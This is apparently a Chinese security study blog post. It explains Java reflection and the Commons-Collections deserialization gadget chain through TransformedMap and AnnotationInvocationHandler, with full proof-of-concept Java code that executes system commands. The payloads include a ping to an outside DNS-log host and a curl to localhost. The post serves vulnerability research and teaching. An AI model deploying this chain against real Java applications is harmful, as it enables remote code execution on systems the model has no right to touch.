java 从反射到反序列化的故事
#java 从反射到反序列化
[TOC]
反射机制
Java通过反射机制,可以在程序运行时加载,探知和使用编译期间完全未知的类,并且可以生成相关类对象实例,从而可以调用其方法或则改变某个属性值
从反射链的构造看java反序列化漏洞
反射执行系统命令:
【1】通过反射机制调用runtime.class的getMethod方法
【2】继续调用invoke方法生成了一个runtime的对象,
【3】最后执行该对象的exec方法,因此造成了命令执行
Transformer
Transformer类的调用
测试用例如下:
package test.reflect;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import com.mysql.jdbc.Driver;
import java.sql.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections4.collection.
public class App {
public static void main( String[] args ) throws IOException
{
try {
inner test2 = new inner();
System.out.println(inner.class.getName());
System.out.println(Class.forName("test.reflect.inner").getName());
System.out.println(test2.getClass().getName());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"ping th9bvw.ceye.io",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
ByteArrayOutputStream out = new ByteArrayOutputStream();//建立缓冲区对象
ObjectOutputStream objOut;
try {
objOut = new ObjectOutputStream(out);//将对象信息写入到文件中,此处为字节流到缓冲区中
objOut.writeObject(transformerChain);//写入对象信息
transformerChain.transform(null);//调用transform方法,触发
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
class inner2 {
public int id;
public Object obj;
}
其中关键调用代码:
transformerChain.transform(null)
其中 transform方法源码如下:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
public Object transform(Object input) {
return iConstant;
}
在此处分别执行:
【获取对象】-【实例化对象】- 【调用对象执行命令】
先用ConstantTransformer()获取了Runtime类
接着反射调用getRuntime函数
再调用getRuntime的exec()函数,执行命令
依次调用关系为: Runtime –> getRuntime –> exec()
其中ChainedTransformer为链式的Transformer,会挨个执行定义的Transformer
ConstantTransformer
在 i=0时iTransformers[0]
为new ConstantTransformer(Runtime.class)
对象,该函数获取runtime对象,转为常量返回。
iConstant的返回值是一个class对象 java.lang.runtime
返回参数,此处输入的参数是Runtime.class
,则此处参数对象即为class java.lang.runtime
InvokerTransformer
通过反射创建实例对象,对该类传入
Input参数:要进行反射的对象,
iMethodName,iParamTypes:调用的方法名称以及该方法的参数类型
iArgs: 为对应方法的参数
可以通过反射机制调用任意函数。public class InvokerTransformer implements Transformer, Serializable { /** The serial version */ private static final long serialVersionUID = -8653385846894047688L; /** The method name to call */ private final String iMethodName; /** The array of reflection parameter types */ private final Class[] iParamTypes; /** The array of reflection arguments */ private final Object[] iArgs; /** * Gets an instance of this transformer calling a specific method with no arguments. * * @param methodName the method name to call * @return an invoker transformer * @since Commons Collections 3.1 */ public static Transformer getInstance(String methodName) { if (methodName == null) { throw new IllegalArgumentException("The method to invoke must not be null"); } return new InvokerTransformer(methodName); } ... ...
Transformer 调用示例
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"ping th9bvw.ceye.io",}), }; Transformer transformerChain = new ChainedTransformer(transformers); //transformerChain.transform(null); //以下序列化测试 ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut; try { objOut = new ObjectOutputStream(out); objOut.writeObject(transformerChain); transformerChain.transform(null); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); }
反序列化调用反射执行系统命令
反序列化执行系统命令的思路
【1】构造一个反射对象
【2】将反射对象传入可构造的序列化对象
【3】反序列化触发命令执行
TransformeMap示例
前面构造的反射对象是用来传输给存在readobject的可控目标函数使用,但在载入前是需要载体的,就像最近的冠状病毒,在使用transformer时,需要将transformer构造的反射对象传入到transformap中
测试代码如下:
package test.reflect;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class transformedmaptest {
public static void main(String[] args) throws IOException {
Map map = new HashMap();
map.put("key", "th3wind");
//调用目标对象的toString方法
String command = "curl http://127.0.0.1:8881";
final String[] execArgs = new String[]{command};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command,}),
};
Transformer transformer;
transformer = new ChainedTransformer(transformers);
//构造Transformer对象
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformer);
//将可控的transformer传入TransformedMap
for (Map.Entry<String, Object> entry : transformedMap.entrySet()) {
System.out.println(entry);
entry.setValue("th3wind");
}
}
}
上面这段代码分别有三个功能
【1】构造Transformer对象
【2】通过可控的Transformer对象构造TransformedMap
关键代码如下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
调用transformedmap
的静态decorate
方法,将valueTransformer
传入
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
这里继承的父类是AbstractInputCheckedMapDecorator
而其是继承的AbstractMapDecorator
类,到此即构造完了 TransformedMap
【3】反序列化触发命令执行
遍历TransformedMap
并使用setvalue
方法进行触发
entry.setValue("th3wind");
其中setvalue
方法跟踪如下
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
在调用父类的checkSetValue方法,即AbstractInputCheckedMapDecorator
,在该方法中会调用transformer
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
其中valueTransformer
为前面构造的Transformer
对象,通过transform
进行反射对象触发。结果如下
根据搜索在transformedMap
中除了checkSetValue
触发transform
方法还有transformKey
、transformValue
JDK Gadgets
在有了对应的用于反序列化的对象,接下来就是找对应的JDK Gadgets,以便来寻找目标及生成payload,在transformedmap的调用中为sun.reflect.annotation.AnnotationInvocationHandler
根据反序列化会自动触发readobject
函数,寻找的目标需要满足以下的条件:
【1】readobject
或直接或间接调用以上提到的transformKey
、transformValue
、checkSetValue
审计策略
【1】找transformKey
、transformValue
、checkSetValue
这几个方法被调用的位置
【2】全局搜索readobject
方法
案例1
利用前提: jdk具体版本不是很清楚,但在jdk1.8u60及以前是没问题的
sun.reflect.annotation.AnnotationInvocationHandler
不知道大佬们是不是这样找到的,根据前面所说方法进行反推,可以这样
checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:450, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
deserialize:62, Serializer1 (reflect2)
main:37, POC4 (reflect2)
先上代码,参照
以Commons-Collections为例谈Java反序列化POC的编写
package reflect2;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC4 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl http://127.0.0.1:8881"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","th3wind");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
// 序列化
Serializer1.serialize(ins);
Serializer1.deserialize();
}
}
class Serializer1{
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("java.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize() throws IOException, ClassNotFoundException {
FileInputStream ios = new FileInputStream("java.bin");
ObjectInputStream ois = new ObjectInputStream(ios);
ois.readObject();
} }
其中参数传递如下
-sun.reflect.annotation.AnnotationInvocationHandler
调用说明
在利用该工具类时,所用代码如下:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
通过Class.forName
进行反射调用,其中将java.lang.annotation.Retention.class
以及前面构造的transforedMap
作为参数进行类的实例化
到这时其中几个重要参数分别如下:
构造的 TransformedChain
实例化的 AnnotationInvocationHandler
- readObject分析
在该类中重写了readObject方法,重写方法如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
在传入的对象中,通过retention
(java注解)
跟到关键位置AbstractInputCheckedMapDecorator$MapEntry.setValue()
setvalue
函数调用路线如下
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
跟到setvalue
后,后续的触发方法即为前面TransformeMap示例
调用流程
基础
反射实例化对象与new 一个对象的区别
a1:new属于静态编译
b1:反射属于动态编译,意思就说只有到运行时才会去获得该对象的实例,大多框架都是使用反射获取对象实例,如Spring
二、**
a2:静态编译类似于在编译的时候把你所有的模块都编译进exe里去,编译后就存在。
b2:动态编译则相反,编译的时候那些些模块都没有编译进去,类似于把那些模块都编译成dll,这样启动程序(初始化)的时候这些模块不会被加载,而是在运行的时候,用到哪个模块就会利用反射去取模块
三、**
a3:反射对象是直到程序运行期间才知道类的名字的实例,这时才获取对象的成员,并设置属性。此时要用到类的全限定名才能加载出该类的实例,并返回该类的对象。然后就可以遍历类中的各个方法,各个属性。
b3:new是给类直接在内存中创建一个实例,并且可以直接初始化等。不需要类的全路径。
————————————————
版权声明:本文为CSDN博主「三千炼心」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44919928/article/details/89530625
super和this的区别
在java中this指向对象本身,super指向超类(离自己最近的一个父类)
class Country {
String name;
void value() {
name = "China";
}
}
class City extends Country {
String name;
void value() {
name = "Shanghai";
super.value(); //调用父类的方法
System.out.println(name);
System.out.println(super.name);
}
public static void main(String[] args) {
City c=new City();
c.value();
}
}
显示结果
Shanghai
China
反射
反射新建一个对象 是先class.forName动态加载类,再使用newInstance进行实例化
class c = Class.forName(“Example”);
factory = (ExampleInterface)c.newInstance();
动态加载类的方法有三种
【1】通过对象的getClass()方法获取Class对象。
Date date = new Date();
Class classd = date.getClass();
Object object = classd.newInstance();
【2】通过类名.class 获取Class对象。
Class classd1 = Date.class;
Object object = classd.newInstance();
【3】通过Class.forname(“全限定类名”)。
Class classd2 = Class.forName("java.util.Date");
Object object = classd.newInstance();
java 注解
来自于菜鸟的架构图,这个时候还比较迷糊,待补充详细。
参考
Java反序列化漏洞的原理分析
Java反序列化漏洞分析
JDK反序列化Gadgets 7u21
以Commons-Collections为例谈Java反序列化POC的编写